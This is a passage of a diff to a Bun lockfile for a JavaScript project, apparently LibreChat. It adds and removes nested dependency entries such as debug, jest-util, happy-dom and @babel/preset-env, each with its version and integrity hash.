"sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="], + "happy-dom/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="], - "googleapis-common/qs": ["qs@6.13.0", "", { "dependencies": { "side-channel": "^1.0.6" } }, "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg=="], + "happy-dom/whatwg-mimetype": ["whatwg-mimetype@3.0.0", "", {}, "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q=="], - "googleapis-common/uuid": ["uuid@9.0.1", "", { "bin": "dist/bin/uuid" }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="], - - "gtoken/gaxios": ["gaxios@6.2.0", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "is-stream": "^2.0.0", "node-fetch": "^2.6.9" } }, "sha512-H6+bHeoEAU5D6XNc6mPKeN5dLZqEDs9Gpk6I+SZBEzK5So58JVrHPmevNi35fRl1J9Y5TaeLW0kYx3pCJ1U2mQ=="], + "happy-dom/ws": ["ws@8.19.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg=="], "hast-util-from-html/@types/hast": ["@types/hast@2.3.10", "", { "dependencies": { "@types/unist": "^2" } }, "sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw=="], @@ -5871,10 +6125,16 @@ "http-proxy-agent/agent-base": ["agent-base@7.1.3", "", {}, "sha512-jRR5wdylq8CkOe6hei19GGZnxM6rBGwFl3Bg0YItGDimvjGtAvdZk4Pu6Cl4u4Igsws4a1fd1Vq3ezrhn4KmFw=="], + "http-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + + "https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "import-from/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="], "import-in-the-middle/cjs-module-lexer": ["cjs-module-lexer@1.2.3", "", {}, "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ=="], + "ioredis/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "is-bun-module/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], "istanbul-lib-instrument/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], @@ -5885,44 +6145,30 @@ "istanbul-lib-source-maps/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], + "istanbul-lib-source-maps/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + + "jake/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="], + "jest-changed-files/execa": ["execa@5.1.1", "", { "dependencies": { "cross-spawn": "^7.0.3", "get-stream": "^6.0.0", "human-signals": "^2.1.0", "is-stream": "^2.0.0", "merge-stream": "^2.0.0", "npm-run-path": "^4.0.1", "onetime": "^5.1.2", "signal-exit": "^3.0.3", "strip-final-newline": "^2.0.0" } }, "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg=="], - "jest-changed-files/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "jest-circus/jest-matcher-utils": ["jest-matcher-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", "jest-diff": "30.2.0", "pretty-format": "30.2.0" } }, "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg=="], - "jest-circus/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "jest-circus/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="], "jest-circus/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="], - "jest-cli/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "jest-config/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="], - "jest-config/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "jest-config/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="], "jest-config/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="], "jest-diff/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="], - "jest-each/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "jest-each/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="], - "jest-environment-node/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="], - - "jest-environment-node/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="], - - "jest-environment-node/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "jest-file-loader/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="], - "jest-haste-map/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "jest-leak-detector/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="], "jest-matcher-utils/jest-diff": ["jest-diff@29.7.0", "", { "dependencies": { "chalk": "^4.0.0", "diff-sequences": "^29.6.3", "jest-get-type": "^29.6.3", "pretty-format": "^29.7.0" } }, "sha512-LMIgiIrhigmPrs03JHpxUh2yISK3vLFPkAodPeo0+BuF7wA2FoQbkEg1u8gBYBThncu7e1oEDUfIXVuTqLRUjw=="], @@ -5931,24 +6177,12 @@ "jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="], - "jest-mock/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="], - - "jest-resolve/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "jest-resolve/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="], - "jest-runner/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "jest-runner/source-map-support": ["source-map-support@0.5.13", "", { "dependencies": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" } }, "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w=="], - "jest-runtime/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="], - "jest-runtime/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="], - "jest-runtime/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="], - - "jest-runtime/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "jest-runtime/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="], "jest-runtime/strip-bom": ["strip-bom@4.0.0", "", {}, "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w=="], @@ -5959,28 +6193,18 @@ "jest-snapshot/jest-matcher-utils": ["jest-matcher-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", "jest-diff": "30.2.0", "pretty-format": "30.2.0" } }, "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg=="], - "jest-snapshot/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "jest-snapshot/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="], "jest-snapshot/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], "jest-snapshot/synckit": ["synckit@0.11.11", "", { "dependencies": { "@pkgr/core": "^0.2.9" } }, "sha512-MeQTA1r0litLUf0Rp/iisCaL8761lKAZHaimlbGK4j0HysC4PLfqygQj9srcs0m2RdtDYnF8UuYyKpbjHYp7Jw=="], - "jest-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="], - - "jest-util/ci-info": ["ci-info@3.9.0", "", {}, "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ=="], - - "jest-util/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], - "jest-validate/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="], - "jest-watcher/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - - "jest-worker/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="], - "jest-worker/supports-color": ["supports-color@8.1.1", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q=="], + "js-yaml/argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="], + "jsdom/decimal.js": ["decimal.js@10.6.0", "", {}, "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg=="], "jsdom/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="], @@ -5991,30 +6215,30 @@ "jsonwebtoken/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], + "jszip/readable-stream": ["readable-stream@2.3.8", "", { "dependencies": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", "isarray": "~1.0.0", "process-nextick-args": "~2.0.0", "safe-buffer": "~5.1.1", "string_decoder": "~1.1.1", "util-deprecate": "~1.0.1" } }, "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA=="], + "jwks-rsa/@types/express": ["@types/express@4.17.21", "", { "dependencies": { "@types/body-parser": "*", "@types/express-serve-static-core": "^4.17.33", "@types/qs": "*", "@types/serve-static": "*" } }, "sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ=="], + "jwks-rsa/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "jwks-rsa/jose": ["jose@4.15.5", "", {}, "sha512-jc7BFxgKPKi94uOvEmzlSWFFe2+vASyXaKUpdQKatWAESU2MWjDfFf0fdfc83CDKcA5QecabZeNLyfhe3yKNkg=="], "katex/commander": ["commander@8.3.0", "", {}, "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww=="], "keyv-file/@keyv/serialize": ["@keyv/serialize@1.0.3", "", { "dependencies": { "buffer": "^6.0.3" } }, "sha512-qnEovoOp5Np2JDGonIDL6Ayihw0RhnRh6vxPuHo4RDn1UOzwEo4AeIfpL6UGIrsceWrCMiVPgwRjbHu4vYFc3g=="], - "keyv-file/tslib": ["tslib@1.14.1", "", {}, "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="], - "langsmith/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], "langsmith/uuid": ["uuid@10.0.0", "", { "bin": "dist/bin/uuid" }, "sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ=="], "ldapauth-fork/lru-cache": ["lru-cache@7.18.3", "", {}, "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA=="], - "librechat-data-provider/@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, 